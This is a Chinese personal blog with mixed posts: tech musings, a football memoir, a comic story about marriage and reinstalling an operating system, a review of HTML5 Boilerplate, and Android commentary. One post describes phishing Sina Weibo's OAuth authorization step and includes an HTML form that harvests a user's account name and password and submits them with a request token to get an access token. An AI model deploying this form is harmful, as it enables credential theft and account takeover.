验证码这种变态的东西,当然是人类设计出来防止恶意的机器自动灌水评论的行为,是防灌水脚本却不防狗的。但是话说回来,人类为何要难为人类呢?人类的时间精力不都是宝贵的嘛?一个聪明人站了出来,他创造性地把可怜的网民当成小白鼠,以大英博物馆的书籍扫描图片片段为识别内容,加上已被正确识别的图片作为验证依据。史上把这种2个花花绿绿图片填正确答案的做法称之为人肉OCR。通过你我他的不懈努力,据说图书馆的纸版书籍都快全部电子化了。这是文艺地玩人。

某国内互联网公司的某聊天软件。某一天,突然知道我的真实姓名了。我擦!哥震惊了,这是怎么一回事情呢?这也太强大了吧,您哪来的资料啊?我想了半天,参考了普通玩人、文艺玩人的案例,突然意识到这把戏。具体思路应该是这样的:利用好友备注的功能搜集用户信息。不少人会比较2,当然也包括本人在内,把好友的名字改成真实的姓名,当然如果不止一个人把你名字备注成猪在飞,你也就成了猪在飞了。贱公司就是根据你好友对你的备注信息,找出最多出现次数的名字,很不幸往往就是你的真实名字。可怜的人类啊,出卖朋友也就意味出卖了自己。这必须是二逼地玩人。

此文献给创新为公司灵魂的某互联网公司的贱人们!

 
 

爱个球

24 十一

我要在枯秃的笔尖上袅出
一种残破的残破的音调,
为要抒写我的残破的思潮。 –徐志摩

前年我去参加摄影器材展,当我背着个单反脚架走过适马的展厅就被一个光鲜靓丽的小妹妹叫住了,问我:“你是不是北影的?” “Y?” “妈妈说,头发长的,并且不拘小节的男人都是—-”

文艺青年

二〇一一年十一月廿日的下午三时二十七分,离二〇一二年十二月廿一日还有整整三百九十七天八小时三十三分钟。三个小时前,我终于鼓起勇气去北师大踢了一场足球,不过这次,我把公交卡遗忘在了家中的半岛铁盒里。

芦花鸡说,这是一个对我来说完全陌生的球场,但是他必须带我来,因为他来过,我没有来过。我浅笑着,用漫不经心的话语回应,因为这时,我正听着shuffle 4G里面eminem撕心裂肺吟唱的without me,强暴的音符瞬间透过外耳中耳内耳听觉神经迷走神经,像一抹巨大的奥尔洛夫马尾,撩拨着我全身的运动神经。我就像一只春天里的黑色小野猫,激流涌动着、翻滚着、咆哮着、拉扯着,要撕破这层华丽的、笑容可憎波澜不惊的外皮。

三时三十二分。终于,栽倒在墨绿色塑料和褐色的跑道橡胶混杂的草坪里,意识渐渐离我远去了。我无力地呼吸着北京冬日里混沌污浊又凛冽的空气,任凭寒风灌进我的衣袖,阳光刺痛我的眼睛。我的魂魄已经随着风游走,一片没落的云拂过太阳的脸颊。这么多不熟悉的身影掠过了我的视野却留不下一丝的痕迹,只有沉重的喘息声音和125HZ亢奋心跳我能听得见。没有了氧气,昔日种种如同无声电影一样的场景,在我空白的大脑间穿插和交织。我看到了二十多年前的孱弱的自尊和炽热的内心。因为那时的我只是一个:

普通小少年

多年以后,当我站在北师大的操场上,我仍会回想起父亲带我半夜爬起来看世界杯的那个遥远的凌晨。

我从小到大有很多梦想,如今我折腾成为一个不会写代码的码农、最不会忽悠的小头头,是我从来没想过的。就算是后来我萌发了这个愿望,这个理想也是排在我三百多个理想之后。

但是我这么多年清楚地知道,我的第一个理想是什么——别梦依稀咒逝川,故园二十二年前,二十二年前的夏天,我被爸爸凌晨从被窝里拉了出来,在这 个凌晨,我有生以来第一次看到足球。我透过清澈的玻璃窗,望着远处大楼的一个一个窗户传来点点的灯光,爸爸抱着小猪我。此时的我,对睡眼惺忪的爸爸的精彩解说已毫无兴趣,我痴呆呆地看着一群人在疯狂地追一个皮球,追到后再把它射向一个大网里。我小心走上前,挽起我的小裤腿,伸出嫩枝般的小瘦腿,一脚踢在沙发旁边的痰盂上,因为力气太小, 痰盂竟然丝毫不动。

就在这一瞬间,我萌生了有生以来的第一个理想,如果将来有钱了,一定要买二十三个足球,给这帮叔叔每一个人都发一个,这样他们就不会去抢一个皮球玩了,抢不到的还不高兴,并且我自己也要留一个足球踢着玩。这个理想的二十三分之一,我初中的时候已经实现了,因为我买了一个足球。

时间一晃,来到了和谐的2011年。在度过了二十二年七个月〇五天后,我终于可以继续实现我童年第一个梦想的后面部分了,这个梦想就像童年阴影一样时 常笼罩在我的心绪中,如今,它很快就会从我的记忆里舒展开来,像一片被吹散的乌云,一去不复返。现在,我距离他梦想照进现实已经进入倒计时,让我 们一起数:一分钟 两分钟 三分钟 四分钟 五分钟 …… 倒地~~ 芦花鸡跑过来把我死狗拉到场边,撂下一句话,“你丫真是个—-”

二B青年

我就只能坚持5分钟的拼抢,然后就倒地了,我体力大不如从前,腰间也有赘肉了。看来某些东西是要戒掉了。。。。

这么写不知道明媚满意吗?哈哈!

 

 
 

装装装系统

12

如果你不调戏女人,她说你不是一个男人;如果你调戏她,她说你不是一个上等人。--张爱玲

如果说已经没有妹子,或者完全都找不到妹子,可以用来调戏一番的话,那么我也只好在这美少女战士变成长着尾巴的孙悟空的月圆之夜,把华仔拉出来戏虐一下了。

华仔的女人(下文简称C妹吧)是我大四的时候帮忙介绍的。我求学之间,基本上就是在替人说媒拉纤,撮合迷茫之中的芸芸众生。而这一切我都是欣然昭然的,并不好之以为功。成全了这群孤男寡女之时,也是我寂寞难耐之日。他们有了心上人之后呢,基本上不再和我耳鬓厮磨行酒言欢,每每看到他们沉溺花前月下,我总是痛心疾首。难耐孤独,趁学业未满也随一奇姬,人生若只如初见,何事秋风悲画扇。 如胶似漆日夜笙歌。却哪曾想,佳人难留红颜命薄,香烟一陨随风散尽。我再也不相信爱情了,尽管红尘翻滚,佳丽如白驹过隙一般,周围的女人也一三五二四六。平静的死水怎么能再起涟漪。此处略去不表,单言华仔和C妹子的爱恨纠葛。

小C生出名门,母亲是台湾商贾鉅子之掌上名媛,父亲是日本某重工株式会社的一脉单传的嫡子。家境殷实,呼风唤雨的小C自然是从小受的良好教育,诗书礼乐都通习。而且大门不出二门不迈,怡然是大户人家的千金小姐。

华仔呢,是个气宇轩昂的俊俏少年,他自诩多情的浪子,无情的剑客。为人豪迈,虽不胜酒力却也贪胜好饮。虽无万贯之才却也挥如粪土,虽不善言谈却也能吟诗作对。平生好结交天下英雄好汉,常把“侠之大者,为国为民”挂在嘴边,关心时局,痛贬时弊。也算是一个四有青年。

于是乎,电视连续剧一般的狗血的镜头在这里一幕幕上演。。。

俗话讲:天有不测风云,人有旦夕祸福。此话不差,小C父亲的事业正当如日中天的之时,突然间,美国双子塔遭受恐怖袭击,风云突变。C父应对不及,气血攻心,一口气缓不上来撒手人寰,C母不堪这人生的起伏也卧床不起,不日一命呜呼。大树一倒,债主上门,群戚豪夺,家奴都鸟兽散走了个干净,可怜昔日傲然家业也难抵巨亏。小C哪里见过这个阵势,不过毕竟算见过场面,看着不好,收拾一干细软,备马连夜投奔京城考妣旧交。

不日,我拉着华仔闲逛京城中关村鸟市场。余无意间见城墙根子斜着一黄衣少女,但见此女:行风瑟瑟落叶哀,泪眼婆娑意徘徊,玉簪不束乱丝发,华胜渐耗命尤哉。衣衫凌乱,面色潮红。上前答言不几句,已是哭的梨花溅雨,海棠落蕊。得知她来京城之意,我惊诧道:”何不投靠令尊故交,俱禀原委,再议对策?”,小C此时更是泣不成声:“不瞒大官人,李大人的公子惩一时顽性,驾乘宝马殴打屁民,群愤毕集,李大人亦脱不了干系,这是其一。大娘子微薄上炫富,其他奶奶们无不恶之,李大人隐约其辞,恐早晚要被双规,自身难保,小女子思量甚久,念家父教导‘一怕麻烦人、二怕花钱多、三怕工作少’,于是就流落到此境地。”,我见她年纪轻轻便知书达礼,谈吐气质都不卑不亢,好生怜惜,便道:“小娘子不知,京城鱼龙混杂,怪薯薯俯拾皆是,你这般美色,恐怕坏人得计啊。念我尚未纳娶,不如跟了我,保你荣华富贵,享用不尽啊。”

华仔血气方刚,一把抓过哥的领子,说:“呸!好贼人,四级证书都没有就敢和老子抢妹子,丫的,活腻了吧?”说时迟那是快,他一下掏出英语四级证书往我脸上一拍。哥一个马步不稳,乱了方才,倒栽下来,哪里听得见倒在地上的我还喊道:“你妹啊!!四级算个毛,老子六级都过了!!!”妹子此是被他的英雄气概怔住了,全然不顾地下倒着的我,含情脉脉的看着这位出手相救的福建男子的眼睛,说道:“从此,老娘我就是你的人了,你说往北我不敢to the west,你说煤炭是白的,我就说嗯哼, so , I DO!”。华仔执起佳人的手,拭去她胸前的泪水,看了一眼倒在地上的我,轻蔑地说:“亲!借我301块钱吧?还有你如家的会员卡,1块钱是铜钱哦亲,自动贩卖机不收纸币的哦亲!”。我冷笑了一声“哼!要硬币,没有,要钱,啥时候还我?”

华仔给我写了张12期分期付款,并用饭补作为抵押的白条后,拉起美人的小手走在大路上,朝着革命的方向,走了!留下了莫名惆怅的我。。。好一个负心的汉子,早晚要遭报应的!!!

古语有云:“做鸡不打鸣不行,做狗不守门不勤。不是不报,时候未到,时候一到,让你立马死翘翘。”不多时日,约莫在5-6年后,也就是华仔迎娶小C姑娘大概5年左右的时候,他们的婚姻出现了重大危机。。。

话说小C,那是名门之后哪,从上流社会下来的啊!有木有?开玩笑!尽管落的此悲惨境地,却也是锦衣玉食惯了的主,大小姐的脾气那是一丝没挂啊,衣服首饰样样都不能少,看电影要看3D的阿凡提,下馆子要人在旁边拉小提琴,逛商场要租马骑,点咖啡要喝卡布其,看电视剧纸巾也要人递。最让华仔想不通的是,家里穿不完的衣服,非要让华仔打车去昌平农村捐给村里买不起衣服的妇女们,还说什么:“沟里国家生死一,起因复活比去值”等等华仔听不懂的道理。后来才知道,原来有个郭每每的在红十字会。。。

华仔的不理解,影响他们生活的继续。鸡毛蒜皮的小事都影响到他的心情起伏,可能是这种刀光剑影的生活过的太了无声去了,也有可能是岁月这把无情的杀猪刀的摧残,小C渐渐的像一个普通女人一样慢慢老去了,洗碗池和雕牌洗衣皂磨粗了她的纤纤玉手,煤气罐和燕京矿泉水压弯了她那柔软的腰肢,市井小贩的讨价还价和沿街卖茶叶蛋中嘶哑了她百灵鸟一样的嗓子。总之,她在慢慢地老去,她的青春像一匹脱了缰绳的野狗一样一去不复返了。。。尽管华仔也是一个反应迟钝的中年老男人了,一般的讲理工科男人都是木讷和低级趣味的,但是由于他行业的关系--他是一个操盘手,日过万金随便拔一毛也就能混个树饱。更何况他还是个有本事的男人,有本事的男人都是喜新厌旧的,喜新厌旧的男人都是喜欢把外面十七八的妹子和家里三十七八的老妹子比较的,加上连他手底下的小职员都二奶三奶奶奶不绝的,他渐渐地也慢慢得变得世俗了。

终于有一天,我突然间接到了老C的电话,她依旧沙哑着喉咙像个泼妇一般的嘶嚎:“狗日的天杀的他不爱我了~~~畜生生的没人性的她不爱我了,老娘这几年做牛做马,白瞎了着双坷目金的狗眼呀,竟敢背着老娘再外面包干妹妹。。。我的青春哦~小鸟一去不复返了有没有阿?要不你收了我啊?我很好打理的??给吃的就够活好敬业。。。”我面露难色,此起彼伏,试探性的问道:”丫开玩笑呢?也不撒泡尿照照镜子?玩蛋去~~牛仔很忙着打dota是个好游戏人生呢,哪有功夫搭理你啊,再说你这一大把年级了,我家里也不差这三四个….!“ “嗷”,一生她在这边叫了起来:“你们这帮子男人,都不是他妈的好东西,老怎么了?老怎么了?老就不能满足你了吗?我三十四了,你可以把我想象成2个17岁的嘛。。。”“我喜欢男人!”“哦~~哦~~哦~~,没事了!再~见~”

有个伟人讲到:女人无小事,只要敢攀登。我觉得我有必要找华仔,哦不!应该是老华仔出来聊聊了。这么多年不见了,不知道他混的怎么样了,有可能混的比我还要好了。。。于是我给他写了一封情深意长的信,诚挚的邀他出来聊聊。他没有回信,妈的!老子怒了,给他发了条短信:“你丫再不还钱,我就把你大学洗澡的裸照贴到北外校门口!!”,这招还挺灵!半个月后他给我回电话了:“出来吧,老地方见!”。

昨天晚上12时许,家门口的羊肉串摊前,华仔终于出现了。见到他肥硕的身躯,我竟然不敢相认--这是华仔吗?这是经常在我梦里出现不还钱的华仔吗?这是借了我如家房卡搞坏人家两张双人床连拖鞋都干走门卡借给失足妇女爽死老大爷公安局找我盘问了1个月的华仔吗?

是的!就是他!!

于是有了下面的对白:

华仔(H):人类的情感,原本就是那么奇妙,有的人你对他相交一生,也不会听到他说出一句真心的话,另一些人,你与他匆匆一面,却会倾尽心事。

猪在飞(Z):少扯没有用的,赶紧把房卡还给我,顺便还钱!!
H:天下事怪的地方很多,只看你以何种眼光来看,你以为怪,处身其间的人都以为最正常不 过,你要惊异,他看来你反而怪了。

Z:操!不还钱!!打得连你妈咪都不认识!

H:哈哈哈哈,这么多年了,你还是老样子!真的一点都没有变,真的!你这语气,你这火爆脾气,还和大学时候一模一样,还记得老魏嘛?他也见过小C的,他就说了一句话就走了,你想知道他说的是什么吗?哈哈哈哈,你求我啊,你求我啊,你求我我就告诉你!

猪在飞再也忍受不了这么狗血的镜头了,于是暴打了华仔一顿,于是就有了下面这段对白:

《关于婚姻、爱情和电脑装系统的辩证统一的关系》

H:你知道小C吗?你知道我们的感情出了一些状况吗?

Z:略有耳闻!

H:很好!

Z:她他妈的天天在小区门口拉横幅控诉你丫的家暴,连新华社都知道了!我还能不知道?

H:其实,婚姻和给电脑装系统是一样的你知道吗?

Z:哦,这挺有趣的说法,愿闻其详!

华仔从风衣兜里摸出一盒8mg的中南海,哆哆嗦嗦的塞进嘴里,又在裤兜里面掏了半天,掏出一盒火柴,苍老的手划了半天都没点着,猪在飞惹毛了,优雅的用zippo给他打着了火,说:“你丫赶紧编!表浪费时间!!”

H:打个比方吧!比方你懂吗?哎呦,丫就知道简单粗暴,好好好,我不装比。你刚配了一台电脑对吧?假如说

女人是一台电脑,婚姻是操作系统--【现代】华仔。

电脑刚买回来的时候,宛如处子一般。特别是当你花了重金求回一台的时候,你的征服后的满足感更是强烈,她是配置最高的,她是床上功夫也是最好的,她是最会呵护你的,她也是最善解人意的!你带着她出门,多有面子啊,每当别人问起:硬盘多大的啊?“3.2G!!”你可以自豪地报出她的三围“90 57 83!!”很自豪是不是?

Z:低俗!

H:这台电脑谁不爱啊?放在空调房子里,用她还得洗澡更衣,换拖鞋,呵呵!但是你总是不觉得麻烦,she worth it!!它可以胜任市面上所有的动作游戏。所以你必须要宠爱它。

Z:有点道理

H:但是!这个行业你懂得,发展得很快的。摩尔定律听说过没有?移动互联网你熟不熟?马云你和他吃过饭没有?

H:呵呵,我当然也没和他吃过饭,我就是举个例子罢了。甭管你是哪个豪门出来的,别管你曾经有多么的辉煌,你要识实务!IBM的蝴蝶键盘你用过么?那是一款小机器,配上一个可以折叠的全尺寸键盘。很牛X,听说得了德国红点大奖。还有moto罗拉的掌中宝,对对对!!就是老魏他们以前那个傻X老板用的那款,告诉你,搞笑呢,它不烂,它在当年可是小一万块钱呢。还有Yahoo、Myspace、ebay、newton、...哪个当年没有姿色?哪个不是神颐气使一帮子小兄弟?是的他们都傻X了。懂不?她们都老了!

Z:这和婚姻有啥关系?

H:这婚姻就像是操作系统,女人嘛就是硬件。婚姻一开始就像是刚装操作系统那阵子,响应很快的,上个网,下个片儿,嗖嗖的!你386用惯了,见到奔腾四了肯定是一个激动啊,可惜!你兴奋不了多长时间。

H:80后的妹子还没熟透,90后的妹子就上市了,00后也在后面嗷嗷待嫁呢!有一天你发现它新下的1080P的片儿放不动了,关机时间比邻居电脑装系统时间还要长了,市面上主流电脑内存比你硬盘大,甚至连U盘都比你硬盘大的时候,你就悲剧了。

Z:重装系统吧

H:对了!你想重装系统啊,你要重新挽回你的婚姻啊,重装系统多麻烦你知道的,又要备份,又要刻盘。你几年的使用设置,你都习惯了,改不了了,人老了嘛,都不想折腾,下的软件挑的壁纸存的密码,估计连你自己都记不得了吧?不装系统,还能再优化优化,删除垃圾,整理碎片,再杀个毒!凑合用下去吧。

Z:凑合也行

H:突然有一天,你发现你实在忍不了了,连我手机都比你电脑快了。长痛不如短痛啊!于是,你重新装系统了!虽然你的毕业论文、你和你初恋情人的聊天记录、你收集了这么多年的BT种子、你儿子光屁股满月照片、你和你媳妇的艳照都在上面!备份后重新装系统吧!!

Z:哈哈

H:还真不是吹的,装完系统了还真是像年轻了20岁啊,于是生活又继续了,该干嘛干嘛吧。又是周而复始、四季轮回。。。

Z:多好啊,这不就完了嘛。

H:毛!!硬盘嘎吱响、屏幕灯管老化了、键盘按不下去了、杀毒软件就占你80%cpu,三天两头罢工、修十次就够买台新的了,升级连配件都停产了!你还完吗?

Z:咋办

H:好办,买台新的电脑不就完了嘛!

Z:啊!那小C怎么办?她可是一直都很爱你呀!!你怎么能这么对她??

H:哼,老子当年半年工资都是给电脑升级加内存了,连我妈来我家我都舍不得开空调,我每次都得把书房温度调到28度,我也待它不薄了。它呢?连愤怒的小鸟都玩不了,还敢得瑟!!老子就是生气、老子就是愤怒!!

Z:怪不得小C在楼下逢人就讲你什么“愤怒的鸟小”,我还以为你在床上满足不了她呢!哈哈

H:@#@!##¥%……&##%@!¥!¥#

Z:话说回来,你准备咋办?

H:咋办?重装系统不顶用了就买新电脑吧!旧的不去新的不来嘛!!那死婆娘,爱闹闹去!老子不管了!!这地球没谁还不一样转嘛~~

于是华仔痛下决心,准备这个月攒够了钱买台新电脑去,至于那台破台式机,就先装装系统凑合用着吧,尽管舍不得仍,放在家里也碍眼。时间长了积攒了厚厚一层灰,但是尘归尘土归土。他再想,改天要是有收破烂的再给20,就让他搬走,可惜当年可是猪在飞几千块钱帮忙配的唉!

《此文不代表作者任何观点》

 
1 Comment

Posted in 未分类

 

Godaddy续费记

29

谁说带“记”的文章都是很长的捏?你是西游记、罗德岛战记、寻秦记、倚天屠龙记、岳阳楼记看多了吧?

还有2个月2年前买的域名就要到期了。上次多亏了远在异国他乡的mm帮忙刷的信用卡,godaddy 2009年是不能用支付宝的,用信用卡或者礼品券或者paypal好不麻烦!

今天!看到页面除了支付宝和英文满篇没有一个别国文字我就此起彼伏啊,狗日的蔡文胜真是国内一流国际知名的批发域名的啊。

最重要一点就是alipay的即使到帐实际上不是很及时,我这个要延期个10多分钟。那叫是一个着急啊,最可恶的是god上面居然没有一个提示耐心等待的字眼。心态不好的人咋办?

god的优惠码真是坑爹啊,居然能省40%cost。不使用它的中国人民应该不多吧?这码不防伪,网上一搜一麻袋。

趁着我国房价坚挺、人民币坚挺,赶紧多买点。

 
 

HTML5 Boilerplate –标准化的HMTL5网站前端模板

29

窃以为:正像互联网的名字一样,web是一个很没有标准,没有原则,没有监管的松散自由的代码冶炼厂。
从早期ie和opera浏览器之争,双方各自制定标准往往和对手不兼容。随后跟上的浏览器厂商风卷残云一般吞噬剩下的一丝份额。于是,网站开发者的梦魇就来到了:到底什么是标准?w3的白皮书说了不算,MS说了不算,mozilla 更没有话语权。没有时间决定,于是乎css3来了、html5来了……

HTML5 Boilerplate是什么?
A rock-solid default for HTML5 awesome.其实就是一个默认的前端模板。它有这些特性:

  • 支持HTML 5
  • 跨浏览器兼容,包括对IE6的支持
  • 高速缓存和压缩规则,最佳实践配置
  • 移动浏览器优化
  • 单元测试套件Javascript分析
  • 移动与特定CSS规则的IOS和Android的浏览器支持

粗略看了下这个前端框架,感觉还是挺有意思的:
1.就是用了modernizr.js这个东东,检测当前浏览器的行为。并且有很简单的判别方式。这样,如果浏览器不支持都可以根据需求来找到替代的方案。
2.css的标准化,css不熟悉的朋友你有福了!对不同浏览器默认的设置化为一致。ie hacker的手法也简单了,不用再写一些 *html > div晦涩的hacker代码,而是直接用 .ie6 div 轻松加愉快搞定。另外还可以针对手持设备写不同的css,甚至还支持检测横屏竖屏,做移动应用的网站合适!
3.js动态加载了,jquery的库默认先从googleapi cdn下载,失败的话再从本机服务器加载。骨骼你懂得,用它的cdn基本上是不如本机下载快。好歹ms居然也有cdn api。用ms的jquery.min.js甚好。
4.速度优化,O‘reilly的一本书叫做《高性能网站建设进阶指南》,这本书的几大优化加速的理念,这个框架基本上照顾全了。我看过这本书,总觉得有点隔靴瘙痒。还不如去Yahoo下个Yslow的插件有针对性。这书不断地撩泼你,每章最后一小节就把前面的否了。

嗯嗯还有好多点,比如想png处理啊、apache服务端设置啊、缓存设置啊、cookie free的静态域名啊。。。
总之,这个东西对html5的标准化很有帮助,它降低了转换的门槛,考虑到了优雅的降级和移动互联网设备的兼容,html5能火吧?到时候各个网站无痛地转换的才是好嘛!

 
 

针对各大微博纷纷采用Oauth认证,通用的钓鱼的方法

07

——微博业界之神的twitter,采用了最先进的生产力代表的Oauth,打响了摧毁Basic auth的炮火。

twitter上初期的应用程序,大多使用的是Basic 认证:

神码是Basic认证:
通过http 协议中的authorization头来传递认证信息(用户名和密码)的一种认证方式,

后来大量保留有明文密码的http头在互联网,飞来飞去。无数的第三方twitter应用为了“方便”用户登录,“顺便”记下了他们的帐号密码。也有一小撮不怀好意的人抓包嗅探出敏感的信息,顺藤摸你,一脚踢开你家门,淫荡地看着睡梦中的你。

twitter为了保护用户的安全,防止第三方获取到你的帐号密码,他们开始采用了新的授权方式Oauth。

神码是Oauth:
这篇寓言风格并且令我浑身起鸡皮疙瘩文章很通俗,想看猛击这里
学术点说就是:
1. 获取未授权的Request Token;
2. 获取用户授权的Request Token
3. 用授权的Request Token换取Access Token

看上去很安全、很美好是吧?

最近看了好多资料,都没有提潜在安全问题。但我却发现在“步骤2”的地方可以大有文章可以做:这就是伪造钓鱼的auth的页面,诱骗用户输入帐号密码,得到并记录它们,和之前的request token 一起提交给authorize的url,换取access token完成应用程序的api验证。

下面是一个简单的网页,每次刷新页面,产生不同的request token,每次用户只需输入用户名、密码就实现了类似Basic形式的认证。

<html>
 
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    </head>
 
    <body>
        <form method="post" action="http://api.t.sina.com.cn/oauth/authorize"
        name="authZForm">
            <input type="text" value="submit" name="action">
            <br/>
            regCallback:
            <input type="text" size="180" value="http%3A%2F%2F
            api.t.sina.com.cn%2Foauth%2Fauthorize%3Foauth_token
            %3D<span style=" color: #ff0000; ">b882ca03345f317e4ebc9d3a2a8b74e7</span>%26oauth_callback
            %3Dhttp%3A%2F%2Fwww.sechina.com%2Fapi%2Fcallback%26from
            %3D" name="regCallback">
            <br/>
            oauth_token:
            <input type="text" size="180" value="<span style=" color: #ff0000;
            ">b882ca03345f317e4ebc9d3a2a8b74e7</span>" name="oauth_token">
            <br/>
            oauth_callback:
            <input type="text" value="http://www.sechina.com/api/callback" name="oauth_callback">
            <br/>
            <input type="hidden" value="" name="from">
            <div>
                <ul>
                    <li>
                        <div>
                            帐号:
                        </div>
                        <div>
                            <input type="text" tabindex="1" value="" name="userId" id="userId">
                        </div>
                    </li>
                    <li>
                        <div>
                            密码:
                        </div>
                        <div>
                            <input type="password" tabindex="2" name="passwd" id="passwd">
                        </div>
                    </li>
                </ul>
            </div>
            <div>
                <input type="submit" value="提交" />
            </div>
            </div>
        </form>
    </body>
 
</html>

oauth安全的基础是说第三方app的高度自律,如果第三方app耍流氓诱骗到你的信息以后,冒充用户的授权,那么啥认证都不好使了。

 

老罗说:android要玩完

05

android的出现宛如当年pocket pc跳出来挑战成熟的plam,虽然很多人不看好windows的挥刀自宫。
但借助桌面平台的优势,windows挑战plam故事的结果就是plam完败。

android突然间暴发式增长,引来了业界的关注,也带来了阴暗的诽谤。
apple的ios有太多的神话,一帮子果粉犹如当年PLAM用户一样,一种天生的优越感油然而生。尽展逢迎膜拜之能事,桎梏的单线程被人说成稳定、效率高,软件少被说成了精耕细作、专业打造。孰不知PLAM高层都整体惶惶不可终日。努力往主流技术上去靠,android的缺点是开放,android的优点也是开放,至于效能的问题,随着硬件水平的提升,早晚就能解决。老乔看着android蚕食他的市场难免不担忧,他的心态不一定比你们好。

“安全、安全!!”周鸿祎笑了,作为一个流氓头子,没有人比他更懂安全,360适时的杀入android,又是一出好戏!二战时,希特勒的瘸子部长戈培尔有句名言:“宣传只有一个目标:征服群众。所有一切为这个目标服务的手段都是好的。”。危言耸听的“安全”,机械的大量重复。地的确确征服了不少不明真相的群众。

apple google都提供了一个很好的平台,无数爱好者把它当成了自己的舞台,这连他们的主人都始料未及。老乔的摇钱树在大量盗版资源涌入之下岌岌可危。android抵制挟制软件威胁,显得很无力。毕竟天下不安分的人太多了。android最大的优势在于成本和开放性,只要坚持这两点,风骚的反超是绝对可能的。相比而言的apple依然是根倔强的萝卜,apple天天搞艺术创作,是能卖个好价钱。但随着老乔的驾鹤西去,和第二次工业革命的到来,总有蔫然一消逝去的一天,这个世界上能存活的公司都是些很现实很现实的。

互联网从门户搜索、社交微博、移动应用一路走来,google错失了第二轮却主导着第三轮。

爬出来吧!给你自由!